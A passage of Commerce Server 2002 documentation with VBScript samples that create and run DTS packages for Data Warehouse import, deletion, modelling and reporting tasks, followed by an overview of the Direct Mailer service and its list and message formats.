Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True

oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Profile Data Import DTS Task

The following script creates and runs the Profile Data Import DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSUPMCustomTask object, see DTSUPMCustomTask Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

The Site Level Profile Data Import Script should be used when importing data at the site level. The Per Data Warehouse Profile Data Import Script should be used when importing data at the Data Warehouse level.

Site Level Profile Data Import Script

Data Warehouse Level Profile Data Import Script

Site Level Profile Data Import Script

'*********************************************************************
' Profile Data Import DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Profile Data Import DTS Task"
oPackage.Description = "Imports user profile data into the Data Warehouse."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("CS_UpmDtsTask.DTSUPMCustomTask")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ProfileDataImport DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set DTS task properties.
'*******************************************************************
oTaskProps("SourceType").value = 0
' Make sure SourceName is set to the correct Web site name.
oTaskProps("SourceName").value = "BlankSite"         'Put the proper site name here
oTaskProps("DTSTaskImportStartDate").value = #01/01/2002#    'Put the proper date here
oTaskProps("NumRetries").value = 3
oTaskProps("RetryInterval").value = 30
oTaskProps("DTSTaskTimeQuantum").value = 15
oTaskProps("ProcessingType").value = 0
oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing

Data Warehouse Level Profile Data Import Script

'*********************************************************************
' Profile Data Import DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Profile Data Import DTS Task"
oPackage.Description = "Imports user profile data into the Data Warehouse."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("CS_UpmDtsTask.DTSUPMCustomTask")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ProfileDataImport DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set DTS task properties.
'*******************************************************************
oTaskProps("SourceType").value = 1
' Make sure SourceName is set to the correct Data Warehouse name.
oTaskProps("SourceName").value = "Data Warehouse 1"
oTaskProps("DTSTaskImportStartDate").value = #01/01/2002#    'Put the proper date here
oTaskProps("NumRetries").value = 3
oTaskProps("RetryInterval").value = 30
oTaskProps("DTSTaskTimeQuantum").value = 15
oTaskProps("ProcessingType").value = 100
oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing

Set oPackage = Nothing


Scripting the Campaign Data Import DTS Task

The following script creates and runs the Campaign Data Import DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSMarketingImport object, see DTSMarketingImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'**********************************************************************

' Campaign Data Import DTS Task

' This script creates a DTS package and runs it.

' Note: This DTS task cannot be run on a computer that only has the Commerce Server

' 2002 Business Analytics Stand-Alone feature installed. This DTS task gets the required

' connection strings for both the Commerce database and the Data Warehouse from the

' Admin object based on the site name set in the script.

'**********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
Dim iStatus
Dim i
Dim DTSStepExecResult_Failure

DTSStepExecResult_Failure  = 1

set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Campaign Data Import DTS Task "
oPackage.Description = "Imports data about ad and discount campaigns."

'******************************************************************
' Create a task.
'******************************************************************
'Make sure you are passing the correct ProgID.
Set oTask = oPackage.Tasks.New("Commerce.DTSMarketingImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for CampaignDataImport DTS"
Set oTaskProps = oTask.Properties

' Set Catalog DTS properties

' 0 for the site level import and 1 for the Data Warehouse level import
oTaskProps("SourceType").value = 1

' Make sure the SourceName is set to the correct Web site or Data
' Warehouse.
oTaskProps("SourceName").value = "Data Warehouse 1"

' Number of SQL Server retries in case of SQL Server failure
oTaskProps("NumRetries").value = 10
oTaskProps("RetryInterval").value = 20

oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True

oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = DTSStepExecResult_Failure
            Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing<+]


Scripting the Data Deletion DTS Task

The following script creates and runs the Data Deletion DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSDeleteImport object, see DTSDeleteImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'******************************************************************
' Data Deletion DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Data Deletion DTS Task "
oPackage.Description = "Deletes detailed log file data and summarized data for a site in the Data Warehouse or from the entire Data Warehouse."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSDeleteImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for Delete DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Data Deletion DTS task properties to remove all the logs for the site.
'*******************************************************************
oTaskProps("SourceType").value= 0
oTaskProps("SourceName").value="BlankSite"
oTaskProps("DeleteType").value= 1
oTaskProps("WebLogDeleteType").value= 1
oTaskProps("Interval").value=0
oTaskProps("DeleteLevel").value=1
oTaskProps("Count").value=0

oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep
MsgBox oPackage.Description + " Execute is called"
' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing

The code between the comments 'Set Delete DTS task properties to remove all logs for the site and 'Create a step can be replaced by the following code to remove only the specified log files.

oTaskProps("SourceType").value= 0
oTaskProps("SourceName").value="BlankSite"
oTaskProps("DeleteType").value= 1
oTaskProps("WebLogDeleteType").value= 1
' The ListofLogs property must be set to valid taskids in the
' Task History table.
oTaskProps("ListofLogs").value= "1058,1059"
oPackage.Tasks.Add oTask


Scripting the Model Builder DTS Task

The following script creates and runs the Model Builder DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the task on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSPredictor object, see DTSPredictor Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'*********************************************************************
' Model Builder DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
const strDWConn = "Provider=SQLOLEDB.1;Integrated Security='SSPI';Initial Catalog=PredictorDemo_dw;DataSource=local"
const description = "Model Builder task"
const sModelName = "dfgdfggetrg efgedfg"
const sModelCfgName = "DemoTransactions"
const sSiteName = "PredictorDemo"
const sDWName = "Data Warehouse 1"

'******************************************************************
' Invokes the Model Builder DTS task.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
Dim oPred
Dim slModels
Dim dModel
Dim iStatus
Set oPred = CreateObject("Commerce.PredictorServiceAdmin")
set oPackage = CreateOBject("DTS.Package2")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Model Builder Package"

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("CS_CSDTSPredictor.DTSPredictor")
Set oTaskProps = oTask.Properties

oTaskProps("DWConnStr").value = strDWConn
oTaskProps("ModelName").value = sModelName
oTaskProps("ModelCfgName").value = sModelCfgName
oTaskProps("ArchiveType").value = 2
oTaskProps("CustomRename").value = "CustomRenameTest"
oTaskProps("NumRetries").value = 0
oTaskProps("RetryInterval").value = 0
oTaskProps("SourceType").value = 0
oTaskProps("SourceName").value = sSiteName
oTask.Name = "Building model """ & oTaskProps("ModelName").value & """"
oTask.Description = "Creates a task for ModelBuilder DTS"
oPackage.Tasks.Add oTask
oPackage.Description = oTask.Name
'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = oTask.Name

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the IP Resolution DTS Task

The following script creates and runs the IP Resolution DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSIPResolution object, see DTSIPResolution Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'******************************************************************
' IP Resolution DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps

set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "IPResolution DTS Task "
oPackage.Description = "Resolves Internet Protocol (IP) addresses from the imported user data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSIPResolution")
oTask.Name = "Task1"
oTask.Description = "Creates a task for IPRes DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set IP Resolution DTS task properties.
'*******************************************************************
oTaskProps("SourceName").value = "Data Warehouse 1"
oTaskProps("ProcessingType").value = 0
oTaskProps("BatchSize").value = 500
oTaskProps("LocalDomainName").value = "microsoft.com"
oTaskProps("TimeOut").value = 60
oTaskProps("Ncache").value = 30

oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Report Preparation DTS Task

The following script creates and runs the Report Preparation DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSPostImport object, see DTSPostImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

Note

The Report Preparation task should be run after all data for all the Web sites sharing the Data Warehouse has been imported into the Data Warehouse. You should not run the task for each Web site in the Data Warehouse.

'*********************************************************************
' Report Preparation DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage As DTS.Package
Dim oTask As DTS.Task
Dim oStep As DTS.Step
Dim oTaskProps As Object

'******************************************************************
' Define package properties.
'******************************************************************
Set oPackage = CreateObject("DTS.Package")
oPackage.FailOnError = True
oPackage.Name = "Report Preparation DTS Task"
oPackage.Description = "Populates OLAP cubes with the import data, prepares the data for report generation, and refreshes the cubes after a deletion."

'******************************************************************
' Create a task.
'******************************************************************
'Make sure you are passing the correct ProgID.
Set oTask = oPackage.Tasks.New("Commerce.DTSPostImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for PrepareRport DTS"
Set oTaskProps = oTask.Properties

oTaskProps("SourceName").Value = "DataWarehouse 1"
' Set the Processing Type to 1 for full import, 2 for refresh,
' or 100 for Incremental
oTaskProps("ProcessingType").Value = 1
oTaskProps("TaskName").Value = "Task1"
oTaskProps("NumRetries").Value = 1
oTaskProps("RetryInterval").Value = 30

oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute

    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Report Caching DTS Task

The following script creates and runs the Model Builder DTS task. This script can be used to create a package containing the DTS task to be run. Unlike the other DTS task scripts, this script can only be run from the command line by using the command DTSRun.exe or by embedding the sample code in a Visual Basic application, and then calling it from command line. The file DTSRun.exe is automatically installed on your server when you install SQL Server.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSCacheWarmer object, see DTSCacheWarmer Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

Code to create the DTS package using the DTSRun.exe command

'*********************************************************************
' Report Caching DTS Task
' This script creates a DTS package and runs it.
'*********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oTaskProps

Set oPackage = WScript.CreateObject("DTS.Package")
oPackage.Name = "cachewamer package"
oPackage.Description = "Cachewarmer Package"
oPackage.FailOnError = True

'*********************************************************************
' Create a task.
'*********************************************************************
Set oTask = oPackage.Tasks.New("commerce.DTSCacheWarmer")
oTask.Name = "thetask"
oTask.Description = "Creates a task for CacheWarmer DTS"
Set oTaskProps = oTask.Properties

oTaskProps("SourceName").Value = "Data Warehouse 1"
oTaskProps("SourceType").Value = 1
oTaskProps("TaskName").Value = "thetask"
oTaskProps("NumRetries").Value = 1
oTaskProps("RetryInterval").Value = 30

oPackage.Tasks.Add oTask

'*********************************************************************
' Create a step.
'*********************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "step1"
oStep.TaskName = "thetask"
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing

Code to create the DTS package using a Visual Basic executable

To call this executable from the command line, type the project name followed by the site name, for example CacheWarmerProject Retail.

'*********************************************************************
' Cache Warmer DTS Task
' This code creates a DTS package and runs it.
'*********************************************************************
public sub main()

On Error Resume Next
   Dim sArray() As String
   Dim  sSiteName as string
   Call GetCmdLine(sArray(), Trim$(Command$))
   sSiteName = sArray(1)

   Dim oPackage
           Dim oTask
           Dim oStep
           Dim oTaskProps
           Dim ObjSiteCfg
   Dim sDWName

   'Get the DW associated with the site.
   Set ObjSiteCfg = CreateObject("Commerce.SiteConfig")
       ObjSiteCfg.Initialize (sSiteName)
   sDWName = ObjSiteCfg.Fields("Global Data Warehouse").Value.Fields("s_RefResource").Value

   Set oPackage = CreateObject("DTS.Package")
   oPackage.Name = "cachewamer package"
           oPackage.Description = "Cache Warmer BVT"
           oPackage.FailOnError = True

'*********************************************************************
' Create a task.
'*********************************************************************

    Set oTask = oPackage.Tasks.New("CS_DWCacheWarm.DTSCacheWarmer")
           oTask.Name = "thetask"

   Set oTaskProps = oTask.Properties
           oTaskProps("SourceName").Value = sDWName
           oTaskProps("SourceType").Value = 1
           oTaskProps("TaskName").Value = "thetask"
           oTaskProps("NumRetries").Value = 1
           oTaskProps("RetryInterval").Value = 30

   oPackage.Tasks.Add oTask

'*********************************************************************
' Create a step.
'*********************************************************************
   Set oStep = oPackage.Steps.New
           oStep.Name = "step1"
           oStep.TaskName = "thetask"
           oStep.ExecuteInMainThread = True

   oPackage.Steps.Add oStep
' ******************************************************************
' Execute the package.
' ******************************************************************
       oPackage.Execute

       Set oPackage    = Nothing
       Set oTask    = Nothing
       Set oStep   = Nothing
       Set oTaskProps    = Nothing
       Set ObjSiteCfg    = Nothing

End Sub

See Also

ETL Process for the Report Caching DTS Task


Running Direct Mailer

You use Commerce Server Direct Mailer to send personalized e-mail messages from a Web page, or non-personalized mailings from a flat text file, to large groups of recipients. Direct Mailer can be used as a stand-alone process or integrated into the Campaigns modules in Commerce Server Business Desk.

When Direct Mailer is installed, it is automatically integrated with other Commerce Server features. You can access Direct Mailer through Commerce Server Business Desk, or, you can use it as a stand-alone product without using other Commerce Server components. To use Direct Mailer as a stand-alone product, you use its command line interface.

This section contains:

  • Workflow for Direct Mailer. Illustrates the workflow of a Direct Mailer job.
  • About Direct Mailer. Describes Direct Mailer and provides the software requirements and dependencies for Direct Mailer. Describes the components of Direct Mailer, including a brief overview of opt-out lists and how they function.
  • Using List Manager to Create and Manage Direct Mail Lists. Describes how to use lists in the Business Desk List Manager, and how to create and process Direct Mailer lists.
  • Closing the Loop with Direct Mailer. Describes how to collect user data, analyze the data, and then use Direct Mailer to target users based on your analysis.
  • Setting Up a Direct Mail Campaign. Describes the steps necessary to set up a direct mail campaign.
  • Developing Direct Mail Content. Describes how to construct personalized content for direct mail message bodies.
  • Configuring Direct Mailer. Explains how to modify properties for controlling the way your jobs are run, and the resource connection string to the DirectMailer database. Explains how to use multiple delivery locations and configure an SMTP server.
  • Restarting Direct Mailer. Explains how to restart Direct Mailer.
  • Monitoring Direct Mailer Jobs. Explains how to check the status of your Direct Mailer jobs and view Direct Mailer job errors.
  • Pausing, Stopping, and Deleting a Direct Mailer Job. Explains how to stop and delete a Direct Mailer job.
  • Restarting a Direct Mailer job. Explains how to restart a Direct Mailer job that stopped before it completed processing.
  • Running Direct Mailer in Stand-alone Mode. Explains how to run Direct Mailer as a stand-alone product.


Workflow for Direct Mailer

The following figure shows the workflow for Direct Mailer.

Direct Mailer workflow diagram

  1. A list of recipients created from an application such as an Analysis report, text file (comma-separated value (CSV)), or SQL Server table is imported into List Manager.
  2. A Direct Mailer job is run from the command line, or a direct mail campaign is created in Commerce Server Business Desk.
  3. The List Manager service populates the DirectMailer database with the list of recipients, passing the DirectMailer database connection string as a parameter.
  4. The DirectMailer service executes the T-SQL OpenRowset command to select data from the Campaigns database.
  5. The list data is populated from the Campaigns database to the DirectMailer database.
  6. The Direct Mail Windows NT Service receives the list data from the Direct Mailer database.
  7. The Direct Mailer service sends the e-mail to the recipients.


About Direct Mailer

Direct Mailer is a Windows 2000 service that is installed with Commerce Server as part of a complete installation, or optionally installed in a custom installation. There can be only one instance of Direct Mailer per server. However, you can have more than one Direct Mailer resource at the global resource level.

The centralized design of Direct Mailer makes it easy to administer. Direct Mailer operates at the Commerce Server global resource level. Each site points to the specific group instance of Direct Mailer to be used for that site. This allows you to partition and load balance the sites that use Direct Mailer.

Direct Mailer supplies a command line interface that you use to create, run, monitor, and delete Direct Mailer jobs, as well as perform job startup and recovery tasks. To configure properties on Direct Mailer, you use Commerce Server Manager.

Direct Mailer performs the following:

  • Manages recurring e-mails as Direct Mailer jobs.
  • Prepares non-personalized message bodies.
  • Generates personalized messages from an Active Server Page (ASP).
  • Formats e-mail message headers.
  • Sets the code-page value (language) and converts message bodies to the correct message type (MIME Encapsulation of Aggregate HTML Documents (MHTML), Multipurpose Internet Mail Extensions (MIME), or text).
  • Quickly process large lists of recipients to whom you want to send e-mail messages.
  • Makes file attachments possible.

You can supply a list of recipients to Direct Mailer by using the List Manager module in Commerce Server Business Desk or, when running Direct Mailer in stand-alone mode from the command line, you can specify a list to use (by file name or SQL Server query). For any given list of recipients, Direct Mailer performs the same processing steps through the List Manager objects.

Direct Mailer can construct message bodies from either Web pages or static files. It can also be extended to construct messages using other sources, such as SQL Server templates, by adding custom components to the Direct Mailer pipeline. The Direct Mailer pipeline runs components to screen potential recipients, personalizes e-mail, and sends personalized e-mail. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties. For information about Direct Mailer pipeline components, see About the Direct Mailer Pipeline.

Direct Mailer can send personalized e-mail messages from a Web page, or non-personalized mailings from a flat text file, to large groups of recipients.

This section contains:

  • Direct Mailer Requirements
  • Direct Mailer Databases
  • Opt Out Lists
  • Direct Mailer Performance Features


Direct Mailer Requirements

Direct Mailer has the following requirements:

  • Software Requirements and Dependencies
  • Mailing List Formats
  • Message Formats
  • Message Sources

Software Requirements and Dependencies

Direct Mailer uses Microsoft SQL Server 2000 as its database. Direct Mailer requires SQL Server Agent in order to start recurring mailings; however it is not a requirement that Direct Mailer be installed on the same computer as SQL Server or SQL Server Agent.

For more information about SQL Server, see SQL Server Books Online.

Microsoft Windows 2000 includes the following components, which Direct Mailer is dependent on:

  • Microsoft ActiveX Data Objects (ADO). ADO enables Direct Mailer to access and manipulate data in its database. To access data on one or more SQL Servers, it uses OLE DB Provider for Microsoft SQL Server.
  • Microsoft Windows Collaboration Data Objects (CDO). CDO provides a set of COM interfaces through which Direct Mailer operates. Direct Mailer primarily employs two major interfaces: IMessage and IConfiguration, which enable you to compose, format, and send Simple Mail Transfer Protocol (SMTP) messages over the network, as well as perform local delivery.

Mailing List Formats

Direct Mailer supports the following mailing list sources:

  • Text files, such as comma-separated value (.csv) files
  • SQL Server queries
  • Analysis reports
  • Segments list

A direct mail list contains one or more rows of recipients. Each row in the list contains a single recipient and is comprised of the following elements in comma-delimited format:

Parameter | Description
E-mail address | Required. Name or <name@domain>.
GUID | Optional. The unique user ID that will be used to provide content in a personalized mail message.
Message format | Optional. Controls the message format type that CDO translates the results into. For example, text, MHTML or MIME.
Language | Optional. The code-page value for the mail message.
URL | Optional. Provides the ability to pass individual URLs per user to CDO.

Note

  • If an optional parameter is omitted, you must supply the delimiter in order to line up the subsequent optional parameters.

Message Formats

There are multiple methods of developing content in which to send your direct mail message. The message format controls the type of format into which the Collaboration Data Object (CDO) translates the results. Direct Mailer supports three types of message formats: text, MIME, and MHTML.

  • Text. Formats the mail in ASCII format.
  • MIME (Multipurpose Internet Mail Extensions). An official Internet standard that specifies how messages must be formatted so that they can be exchanged between different e-mail systems. MIME is a flexible format, which extends the Simple Mail Transfer Protocol (SMTP) to permit data, such as video, sound, and binary files to be transmitted by Internet e-mail without having to be translated into ASCII format first.
  • MHTML (MIME Encapsulation of Aggregate HTML Documents). Sends portions of a Web page or an entire Web page as a message. The message can include all or portions of the HTML formatting, graphics, and other elements contained in the original Web page.
MHTML builds on top of MIME to provide a more flexible communication of HTML documents. The message can include other linked documents in a MIME multipart/related body part. Links in the HTML to other included parts can be provided by CID (Content-ID) URLs or by any other type of URL. The linked body part is identified in its heading by either a Content-ID (linked to by CID URLs) or a Content-Location (linked to by any other type of URL).

If you want to prevent the Direct Mailer service from formatting e-mail as MHTML, and strictly send the HTML output of the ASP page without any change in the e-mail, see the Direct Mailer ComposeDMLMessage component in the "Compose e-mail" stage of the DMLPipe.pcf file at <drive letter>: \Program Files\Microsoft Commerce Server 2002. The ComposeDMLMessage component is responsible for formatting the message body.

The following figures display e-mail messages for the three message formats (text, MIME, and MHTML) when they encounter HTML content for the following ASP page:

<html>

<body>

<h1>SPRING SALE !!!</h1>

<img src=http://<server name>/SKY.JPG height=100 width=100 />

</body>

</html>

